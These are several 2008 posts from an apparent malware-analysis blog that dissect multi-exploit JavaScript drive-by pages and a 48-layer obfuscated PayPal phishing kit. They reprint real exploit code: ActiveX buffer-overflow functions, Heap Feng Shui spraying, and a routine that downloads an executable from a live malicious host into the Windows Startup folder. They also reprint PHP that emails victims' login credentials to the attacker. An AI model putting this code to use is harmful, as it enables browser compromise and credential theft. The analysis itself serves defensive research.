blog
October 29, 2008
Just a couple of weeks ago I was thinking that 17 exploits in one JavaScript attack were many. Well, it isn't so. I've recently stumbled upon a couple of pages that contain 18 and 25 different exploits. The domains that host the pages are, respectively, google-analistyc.net and 85.17.166.230.
if (
office() ||
dl() ||
pdf() ||
wme() ||
ya1() ||
ya2() ||
fb() ||
mdss() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
) {}
Here are the exploits we haven't already seen:
A8D3AD02-7508-4004-B2E9-AD33F087F43C) buffer overflow
(CVE-2008-3008).9D39223E-AE8E-11D4-8FD3-00D0B7730277) buffer overflow via long server property
followed by an invocation of the receive method
(CVE-2007-3147).DCE2F8B1-A520-11D4-8FD0-00D0B7730277) buffer overflow via long server property followed
by an invocation of the send method
(CVE-2007-3148).5C6698D9-7BE4-4122-8EC5-291D84DBD4A0) overflow in the ExtractIptc and
ExtractExif properties
(CVE-2008-0660).EEE78591-FE22-11D0-8BEF-0060081841DE) buffer overflow via long ModeName parameter in the
FindEngine function
(CVE-2007-2222).The second page has 25 exploits:
if (
mdac() ||
dl() ||
flash() ||
pdf() ||
wme() ||
wfi() ||
com() ||
ya1() ||
ya2() ||
fb() ||
mdss() ||
cr1() ||
cr2() ||
cr3() ||
cr4() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
) {}
Here, the "new" ones are:
7C3B01BC-53A5-48A0-A43B-0C67731134B9) overflow in SetHandler method
(CVE-2007-6493).5A074B2B-F830-49de-A31B-5BB9D7F6B407)
(CVE-2007-5107).F8984111-38B6-11D5-8725-0050DA2761C4) via
DoWebMenuAction function
(CVE-2007-1683).Now, regarding the second part of the title: there seem to be at least two bugs in these exploit codes.
First, the function cr3 instantiates the control
07B18EAB-A523-4961-B6BB-170DE4475CCA and then sets the property
ShortFormat. This property doesn't seem to exist. ShortFormat is,
instead, the attack vector for the exploit against the Ask Toolbar
(included in the cr2 function). It's probably a case of wrong
copy-and-paste.
function cr3() {
try {
var obj = null;
obj=cobj("{07B18EAB-A523-4961-B6BB-170DE4475CCA}");
if(obj) {
ms2();
arg1 = unescape("\x0c");
while(arg1.length<0x200) arg1+=unescape("\x0c");
obj.ShortFormat = arg1;
}
} catch(e) {}
return 0;
}
Second, and this is present in both pages, the mdss function gets
wrong its memory allocation. In fact, it creates a string (in the buf
variable) and doubles its length in a loop that should execute 9999
times. Of course, this doesn't bode well: the machine will likely lock
up before the offending process goes out of memory and, finally, gets
killed.
function mdss(){
try {
var obj=null;
obj=cobj("{EEE78591-FE22-11D0-8BEF-0060081841DE}");
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
for (i=1;i<=9999;i++)
buf += buf;
EngineID="default";
...
Interestingly, the original milw0rm exploit did the right thing:
var buf = unescape("%u4141");
while (buf.length <= 261) buf = buf + unescape("%u4141");
Probably, another case of wrong copy-and-paste...
October 16, 2008
It is quite common for malicious JavaScript pages to package more than one exploit together and attempt to run all of them against the victim browser. But, what about 17 different exploits in the same script?
<html><body><script>function v8P6GEVcq(cD5Q2LVDZD9t){
return String["from"+"Char"+"Code"](cD5Q2LVDZD9t);
}
function sK5tVpH6uQTNjz(VqiKaGXn){
var vjHVVi9s=0,EFWwHQWBlb=VqiKaGXn.length,lQMLLno=1024,
CoZtfIDFYl,LIIVFZwmlhNqxo,W018sXwS="",ykerJQuIiCo=vjHVVi9s,
gkkYR9OOwch6=vjHVVi9s,qyBlQcNBGEVh0=vjHVVi9s,
OLcO9M0gn=Array(63,12,30,11,6,32,31,53,34,47,0,0,0,0,0,0,57,50,49,
17,55,1,43,44,20,5,39,46,58,9,41,59,62,36,29,14,27,15,8,7,4,37,35,
0,0,0,0,22,0,28,16,19,3,2,40,51,61,42,52,13,33,45,48,10,38,54,
56,0,26,21,24,60,18,23,25);
for(LIIVFZwmlhNqxo=Math.ceil(EFWwHQWBlb/lQMLLno);
LIIVFZwmlhNqxo>vjHVVi9s; LIIVFZwmlhNqxo--)
{
for(eval("CoZtfIDFYl=Ma"+"th.m"+"in(EFWwHQWBlb,lQMLLno)");
CoZtfIDFYl>vjHVVi9s; CoZtfIDFYl--,EFWwHQWBlb--)
{
qyBlQcNBGEVh0|=(OLcO9M0gn[VqiKaGXn.charCodeAt(ykerJQuIiCo++)-48])<<gkkYR9OOwch6;
if(gkkYR9OOwch6) {
W018sXwS+=v8P6GEVcq(149^qyBlQcNBGEVh0&255);
qyBlQcNBGEVh0>>=8;
gkkYR9OOwch6-=2;
} else{
gkkYR9OOwch6=6;
}
}
}
return (W018sXwS);
}
var QCDhu="6AMJaSShJy3rJJUiDq6rlyPFLi3fGK3NJeLKJ2oFOooNLe6OLoiK@
...
AzmNJ2mBc0PwD396AMJaAM97LSL6AMJae";
eval(sK5tVpH6uQTNjz(QCDhu));
</script></body></html>
After the initial deobfuscation step (nothing too fancy here, this time), the actual code is available in the clear. Two surprises here. First, as I said, there are 17 exploits:
if (
mdac() ||
office() ||
dl() ||
pdf() ||
wfi() ||
com() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
|| dani()
) {}
The exploits are targeting:
Second, the code doesn't use the usual heap spraying technique, but an adaptation of the Heap Feng Shui technique by Alex Sotirov. For example, the exploit for the DirectAnimation vulnerability is:
function dani() {
try{
obj=cobj("DirectAnimation.PathControl");
if(obj){
ms();
init();
var jmpecx = 0x0c0c0c0c;
var vtable = addr(0x7ceb9090);
for (var i = 0; i < 124/4; i++)
vtable += addr(jmpecx);
vtable += padding.substr(0, (1008-138)/2);
var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
var fakeObjChunk = padding.substr(0,
(0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
CollectGarbage();
flush();
for (var i = 0; i < 100; i++)
alloc_str(vtable);
alloc_str(vtable, "lookaside");
free("lookaside");
for (var i = 0; i < 100; i++)
alloc(0x2010);
for (var i = 0; i < 2; i++) {
alloc_str(fakeObjChunk);
alloc_str(fakeObjChunk, "freeList");
}
alloc_str(fakeObjChunk);
free("freeList");
obj.KeyFrame(0x40000801, new Array(1), new Array(1));
}
}catch(e){}
return 0;
}
In all cases, the binary to be downloaded lives at
http://59.125.229.71/ex/7/load.php?id=106 and is well recognized by most
anti-virus
Update (10/17/08): The xplo0it Analysis blog also has a nice description of this exploit.
October 15, 2008
A few weeks ago, the good folks of Malware Domain List pointed out an interesting new obfuscation technique being used by some malicious JavaScript samples.
Here's the code of the malicious page (from reddii.ru):
<html><body><input type='text'style='display:none'id='vimamikolu2'
value='kekin1=new Array(161,244,251,239,252,240,248,189,238,239,254,
...
166,144,151,161,178,238,254,239,244,237,233,163);'/>
<script>votot=function(str){document.write(str);};
dotemerape7=new String();
lifum=Math.round(-80.131*Math.SQRT1_2-16.601*Math.LOG2E+342.801*Math.LN2);
eval(document.getElementById('vimamikolu2').value);
for(pidum9=0;pidum9<1577;pidum9++)
dotemerape7+=String.fromCharCode(kekin1[pidum9]^lifum);
votot(dotemerape7);
</script></body></html>
As it's typically done, this code just acts as the decoding routine for
the actual exploit code, which is obfuscated. However, in this case, the
obfuscated code is stored and dynamically retrieved from the HTML code
surrounding the JavaScript code. More precisely, the decoding routine
retrieves the value of the attribute value of the HTML element with id
vimamikolu2. This string is evaluated via eval: this defines the
array kekin1. Then, the code applies String.fromCharCode to each
element of the array (xored with a constant value), and writes the
result back to the page.
While not particularly difficult to reverse manually, this deobfuscation technique has an important consequence for deobfuscation and analysis tools: they need to have a decent implementation of the DOM model (e.g., understand the getElementById function) in order to automatically get around this kind of tricks. Incidentally, I'm working on one such tool (which handles this sample just fine) and should have something ready (and releasable) soon: check back!
The deobfuscated code reveals the usual exploit for the MDAC vulnerability and a more interesting (and recent) exploit for the Office Snapshot Viewer vulnerability (CVE-2008-2463):
function goMDAC() {
...
}
function goPDF() {
wnd=window;
while (wnd.parent!=wnd)
wnd=wnd.parent;
wnd.location="getfile.php?f=vispdf";
}
function goSnap() {
var sfrom = 'http://reddii.ru/traffic/sploit1/getexe.php?h=12';
var sto = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'
+'svchost.exe';
try {
snapattack.SnapshotPath = sfrom;
snapattack.CompressedPath = sto;
snapattack.PrintSnapshot(sfrom,sto);
} catch(e) {}
}
setTimeout('goMDAC();',3500);
setTimeout('goPDF();',5000);
goSnap();
Another interesting aspect of this exploit is that it (also) tries to download PDF files. But this is material for another post...
October 9, 2008
It is pretty interesting to see how the pop culture picks up and re-elaborates something you have been working on as a research topic, in this case, the security of electronic voting machines.
And, what's more pop culture than The Onion, The Simpsons, and xkcd (OK, maybe geeky-pop)?
The Onion has covered eletronic voting in several cases. Probably, the funniest one is a breaking news where it is announced that Diebold prematurely leaked the results of the '08 elections.
The Simpsons have a great (leaked) episode where Homer attempts to vote for Obama, but is confronted with "miscalibrations" in the DRE machine he's forced to use...
xkcd came up with a great comic strip to comment on the fact that anti-virus software allegedly caused problems with Premier Election Solutions (formerly, Diebold) voting machines in Ohio.
October 7, 2008
It is very common to find web-based malware that is protected by one, two, or even three rounds of obfuscation. Obfuscation reduces the chances that anti-malware tools automatically detect the threat and slows down manual analysis.
But, what about 48 (yes, forty-eight!) layers of obfuscation? A phishing kit for PayPal found on the site for PhishTank's entry 502529 contained the following PHP code:
<? eval(gzinflate(base64_decode('DZdHDsTWEQWv4p1lcMGcYFkCc86ZG2GY
c45zeg9P8NHNrlfv77/+/Ptf5fUZ/qi/7VQNn6P8Yz+2f7b5gNE/ss9eEtg/RZnPRfn
...
iJvAQurlJL/whtxnAqS+mV8XYRnKzb1/GZw/zd/1S/bqWwDFK3AFxPSt1LcQgUJZgdZ
QgCMpxBYIUAVL/+/d/ft9///X3X3/+/X8='))); ?>
After the first deobfuscation, one obtains:
><? >eval(gzinflate(str_rot13(base64_decode('FZfHDoToEYRfxTevxYGc5
LVK5JwzF4schpyZp/csEhInoPvv+rrqr//++dc/qisb/nW+3UcP2UT9sR/b/7b5gNE/8
...
c8B1Fs0A/FFcVn1mGJmSUb77fTB+wxXDBv/GkFqPBSkm2N+x6LNrGy1a7ro+58z4Lfdm
iWHhsrzATBtN3mhGgyROECAIXj+XgoIggEX/+ee/fte///HXf//86/8=')))); ?><
The same technique (eval composed with gzinflate, str_rot13, and base64_decode) is used in all the remaining layers. After 48 decoding steps, the familiar phish drop/backdooring code is revealed:
<?
include 'write your mail here.txt';
include 'images/header.bmp';
$ladate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$message .= "--------------PayPal Spam ReZulT-----------------------\n";
$message .= "E-Mail ID : ".$_POST['login_email']."\n";
$message .= "Password : ".$_POST['login_password']."\n";
$message .= "ip: $ip\n";
$message .= "Date: $ladate\n";
$message .= "---------------Created BY Dj_Amen@hotmail.fr-----------------------------\n";
$T = "$to,$iks";
$subject = "PayPal ReZuLt ";
$headers = "From: Amen<steamhacktn@gmail.com>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($T,$subject,$message,$headers);
header("Location: Processing.htm");
?>
The iks variable is defined in the header.bmp file and corresponds to
the address amen.dj@gmail.com:
<?
$ik = "YW1lbi5kakBnbWFpbC5jb20=";
$iks = base64_decode("$ik");
?>